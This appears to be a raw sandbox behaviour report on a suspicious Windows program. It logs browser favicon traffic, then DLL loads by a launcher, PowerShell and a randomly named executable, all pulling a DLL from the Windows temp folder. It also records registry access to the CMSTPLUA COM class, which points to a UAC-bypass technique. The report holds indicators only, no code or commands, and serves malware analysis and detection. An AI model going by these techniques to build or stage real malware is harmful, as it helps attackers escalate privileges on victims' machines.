200 OK Content-Type: image/png Date: Thu 29 Oct 2026 07:13:53 GMT X-Msedge-Ref: Ref A: 230C34DE412241E28708F0E0752CBB5D Ref B: SJC211051201033 Ref C: 2026-10-29T07:13:53Z X-Cache: CONFIG_NOCACHE Cache-Control: public max-age=86400 X-Falcon-Ref: Ref A: 230C34DE412241E28708F0E0752CBB5D Ref B: SC-WUS2-36H23_AKS-GEN00-32749822-VMSS00000K_FABRICROUTER-AZUREGLOBALPRIVATE-5656BB8D79-XMBVN Ref C: 2026-10-29T07:13:53Z X-Falcon-Routerstatuscode: SuccessfullyForwarded (200) Accept-Ch: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version with response body ==>BINARY_CONTENT....... "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: services.bingapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/png Date: Thu 29 Oct 2026 07:13:53 GMT X-Msedge-Ref: Ref A: DE13E4F81C4343BD838F8BDD199C267A Ref B: SJC211051201033 Ref C: 2026-10-29T07:13:53Z X-Cache: CONFIG_NOCACHE Cache-Control: public max-age=86400 X-Falcon-Ref: Ref A: DE13E4F81C4343BD838F8BDD199C267A Ref B: SC-WUS2-36H23_AKS-GEN00-32749822-VMSS00000U_FABRICROUTER-AZUREGLOBALPRIVATE-5656BB8D79-Z2WWR Ref C: 2026-10-29T07:13:53Z X-Falcon-Routerstatuscode: SuccessfullyForwarded (200) Accept-Ch: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version with response body ==>BINARY_CONTENT....... "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: services.bingapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/png Date: Thu 29 Oct 2026 07:13:53 GMT X-Msedge-Ref: Ref A: A6D321E55FF6411EA3704381D2351DE5 Ref B: SJC211051201033 Ref C: 2026-10-29T07:13:54Z X-Cache: CONFIG_NOCACHE Cache-Control: public max-age=86400 X-Falcon-Ref: Ref A: A6D321E55FF6411EA3704381D2351DE5 Ref B: SC-WUS2-36H23_AKS-GEN00-32749822-VMSS00000W_FABRICROUTER-AZUREGLOBALPRIVATE-5656BB8D79-99QSK Ref C: 2026-10-29T07:13:54Z X-Falcon-Routerstatuscode: SuccessfullyForwarded (200) Accept-Ch: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version with response body ==>BINARY_CONTENT....... "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: services.bingapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/png Date: Thu 29 Oct 2026 07:13:54 GMT X-Msedge-Ref: Ref A: 8370AAFE507F469B80814A6B1121BDE4 Ref B: SJC211051201033 Ref C: 2026-10-29T07:13:54Z X-Cache: CONFIG_NOCACHE Cache-Control: public max-age=86400 X-Falcon-Ref: Ref A: 8370AAFE507F469B80814A6B1121BDE4 Ref B: SC-WUS2-36H23_AKS-GEN01-32749822-VMSS000000_FABRICROUTER-AZUREGLOBALPRIVATE-5656BB8D79-QSM7N Ref C: 2026-10-29T07:13:54Z X-Falcon-Routerstatuscode: SuccessfullyForwarded (200) Accept-Ch: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version with response body ==>BINARY_CONTENT....... "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: www.licenseorg.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 404 Not Found Content-Type: text/html; charset=utf-8 Date: Thu 29 Oct 2026 07:13:54 GMT Server: Vercel Content-Encoding: br X-Frame-Options: DENY Permissions-Policy: camera=() microphone=() geolocation=() X-Matched-Path: /404 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Access-Control-Allow-Origin: * Last-Modified: Mon 26 Oct 2026 15:56:39 GMT Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.facebook.net https://*.facebook.com https://www.googletagmanager.com https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https://*.facebook.com https://*.facebook.net; font-src 'self'; connect-src 'self' https://*.facebook.com https://*.facebook.net https://www.google-analytics.com https://www.googletagmanager.com; frame-ancestors 'none' Content-Disposition: inline; filename="404" X-Content-Type-Options: nosniff X-Next-Error-Status: 404 Referrer-Policy: strict-origin-when-cross-origin X-Vercel-Cache: HIT X-Vercel-Id: sfo1::s8qjv-1793258034952-4aea1d7bf303 Etag: W/"3cfdba2b342ea557155ae4876793b08d" Cache-Control: public max-age=0 must-revalidate Age: 227835 with response body ==>BINARY_CONTENT....... "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: lumte.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/vnd.microsoft.icon Date: Thu 29 Oct 2026 07:13:55 GMT Server: cloudflare Cf-Ray: a5206160ad7a8f42-SJC Vary: accept-encoding Content-Encoding: br Cf-Cache-Status: MISS Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Referrer-Policy: strict-origin-when-cross-origin Etag: W/"bdc54cd02bc6abd3f4828fe5469e8808" Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Znxc7Tg%2FRLAGs73JdSx7bMLgyP5pcLozu26QfE6HwrZxubqgOzqqCQkKszdTy0ZLOYigknuQTQW9R2kLX5J2J%2BTNu%2BketXIprA2Ecf7uDTFX5QkfDfG3YeLNLws%3D"}]} Cache-Control: public max-age=14400 must-revalidate Alt-Svc: h3=":443"; ma=86400 with response body ==>BINARY_CONTENT....... "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: www.pixguard.io User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/vnd.microsoft.icon Date: Thu 29 Oct 2026 07:13:55 GMT Server: cloudflare Cf-Ray: a52061614c9616a8-SJC Vary: accept-encoding Content-Encoding: br X-Frame-Options: DENY Permissions-Policy: camera=() microphone=() geolocation=() X-Matched-Path: /favicon.ico Cf-Cache-Status: REVALIDATED Speculation-Rules: "/cdn-cgi/speculation" Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Access-Control-Allow-Origin: * Last-Modified: Sun 25 Oct 2026 14:15:21 GMT Content-Disposition: inline; filename="favicon.ico" X-Content-Type-Options: nosniff Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} X-Dns-Prefetch-Control: on Referrer-Policy: strict-origin-when-cross-origin X-Vercel-Cache: HIT X-Vercel-Id: pdx1::hfd7x-1793129678537-f3c6dbbe7bf0 Etag: "69820c1a0212534b75c06aca52590d38" Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=WnwKEAx0%2FHrfp7ncrzggwbRQdnHU0sS8tX2fj9OpJBQCh63Zs8sJsnxjZnzX0E%2BlBMa4i5CrG5cIG%2B0awyxdXeYFgodHuQIoHkdZI2RSOIWGgAZfB7cBylKh9jYF8S6xptk%3D"}]} Cache-Control: public max-age=14400 must-revalidate Alt-Svc: h3=":443"; ma=86400 with response body ==>BINARY_CONTENT....... "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: blog.openreplay.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/vnd.microsoft.icon Date: Thu 29 Oct 2026 07:13:57 GMT X-Amz-Cf-Pop: JFK50-P15 Server: AmazonS3 Last-Modified: Thu 29 Oct 2026 04:28:08 GMT Etag: "7c985ec353fe03960225ff82d6f5a413" X-Cache: Miss from cloudfront X-Amz-Cf-Id: 8cYpCU7WC9yuHk_3fu-RY2NTj82YKwZTwbljdbqayZvvfSbE6XfDnw== Via: 1.1 85ce761067871f9cfb35bc332fa913fa.cloudfront.net (CloudFront) with response body ==>BINARY_CONTENT.......3e:T2775,"Launcher.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff990d70000 "Launcher.exe" loaded module "OLE32" at base 7ff9bd230000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9b8a40000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\COMSVCS.DLL" at base 7ff9ad360000 "Launcher.exe" loaded module "RPCRT4.DLL" at base 7ff9bd630000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9ba070000 "Launcher.exe" loaded module "KERNEL32.DLL" at base 7ff9bbf40000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\CMLUA.DLL" at base 7ff9afd30000 "Launcher.exe" loaded module "AMSI.DLL" at base 7ff9ac3b0000 "Launcher.exe" loaded module "NTDLL.DLL" at base 7ff9bda10000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff9b84b0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff990d70000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff9bbf40000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff9bda10000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff990d70000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff9bbf40000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff9bcae0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9bb2c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9bb2c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9bb2c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff990900000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff9bba30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9b8f30000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9b18f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff985290000 "powershell.exe" loaded module "USER32.DLL" at base 7ff9bd750000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff998760000 "powershell.exe" loaded module "NTDLL" at base 7ff9bda10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff9bbbd0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff9bd630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ff983c30000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff9bd230000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff9bbbd0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff9bc960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ff982fb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\21FF4BA4607B18A9B179AB90FD3B0BC1\SYSTEM.CORE.NI.DLL" at base 7ff982530000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\704B6614C4744D16332D08DAF175DEED\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff98ff20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9ba070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9bb5c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff990310000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff9bbbd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff9bbbd0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff9bda10000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff9bc140000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff9bc130000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff9bb240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9bb820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\76FF225C5A523F0BE2364B0FC02BF7F9\SYSTEM.XML.NI.DLL" at base 7ff981c80000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff9bb820000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff9ba9f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9afd50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9afd30000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff9ac3b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff9905d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ff9afd20000 "powershell.exe" loaded module "KERNEL32" at base 7ff9bbf40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7691FGLC.DLL" at base 7ff9ab650000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\ED7AA14224280131DBAC4B6E4881239A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff98fe80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff98fd10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff98ce60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff98fbd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\8990B2F5A93202518A0040E15B565F36\SYSTEM.DATA.NI.DLL" at base 7ff981300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff980f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff9bbbd0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff9bb7c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\11606F766159AE0C6DC59F2C053F4DB7\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff990560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff98f9e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff994750000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff9af590000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff9baf00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9b8a40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\9C3B10F6A55214655267F1CBC0E14CAA\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff98f510000 "powershell.exe" loaded module "URLMON.DLL" at base 7ff9ae420000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ff9a6b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 7ff98d640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\B91D832F8C25F4F949D6DC38B3FE41AC\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff980280000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\9594C82AF7B396B5EE8B0EF1D461CEA2\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff9abfa0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff9bc960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\4775EA5A6170C0859C5278277C31B0CA\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff980040000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff9bd900000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ff9b8680000 "powershell.exe" loaded module "MI.DLL" at base 7ff9b1400000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff9b1320000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff9bd530000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff9ad1f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff9ad240000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff9bb2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff9acaf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff9bbf40000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff9bb2c0000 "evbhxjyhj.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff99eb40000 "evbhxjyhj.exe" loaded module "USER32.DLL" at base 7ff9bd750000 "evbhxjyhj.exe" loaded module "D3D9.DLL" at base 7ff99d870000 "evbhxjyhj.exe" loaded module "RPCRT4.DLL" at base 7ff9bd630000 "evbhxjyhj.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9b8a40000 "evbhxjyhj.exe" loaded module "D3D10WARP.DLL" at base 7ff9b2860000 "evbhxjyhj.exe" loaded module "GDI32.DLL" at base 7ff9bd5300003f:T502,"Launcher.exe" touched "New Moniker" (Path: "HKCU\CLSID\{ECABAFC6-7F19-11D2-978E-0000F8757E2A}") "Launcher.exe" touched "CMSTPLUA" (Path: "HKCU\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\TREATAS") "Launcher.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{6EDD6D74-C007-4E75-B76A-E5740995E24C}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")40:T1d0f,Process "DllHost.exe" (UID: 00000000-00005936) was launched with new environment variables: "USERDNSDOMAIN="qvoHrjhEPuglari"" Process "DllHost.exe" (UID: 00000000-00005936) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00006468) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007672) was launched with missing environment variables: "PROMPT" Process "powershell.exe" (UID: 00000000-00005048) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00005932) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_6080_ASSZJRZKDJJOAHHP", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="6080"" Process "cmd.exe" (UID: 00000000-00005932) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00005932) was launched with missing environment variables: "PROMPT" Process "gpupdate.exe" (UID: 00000000-00005096) was launched with new environment variables: "PROMPT="$P$G"" Process "gpupdate.exe" (UID: 00000000-00005096) was launched with modified environment variables: "Path" Process "gpupdate.exe" (UID: 00000000-00005096) was launched with missing environment variables: "EDGE_CRASHPAD_PIPE_NAME, COMPONENT_INSTALLER_DIR, EDGE_BROWSER_PID" Process "evbhxjyhj.exe" (UID: 00000000-00003132) was launched with missing environment variables: "PROMPT" Process "msedge.exe" (UID: 00000000-00006080) was launched with modified environment variables: "USERDNSDOMAIN, Path, NUMBER_OF_PROCESSORS" Process "msedge.exe" (UID: 00000000-00002236) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_6080_ASSZJRZKDJJOAHHP", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="6080"" Process "msedge.exe" (UID: 00000000-00004776) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="12", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", 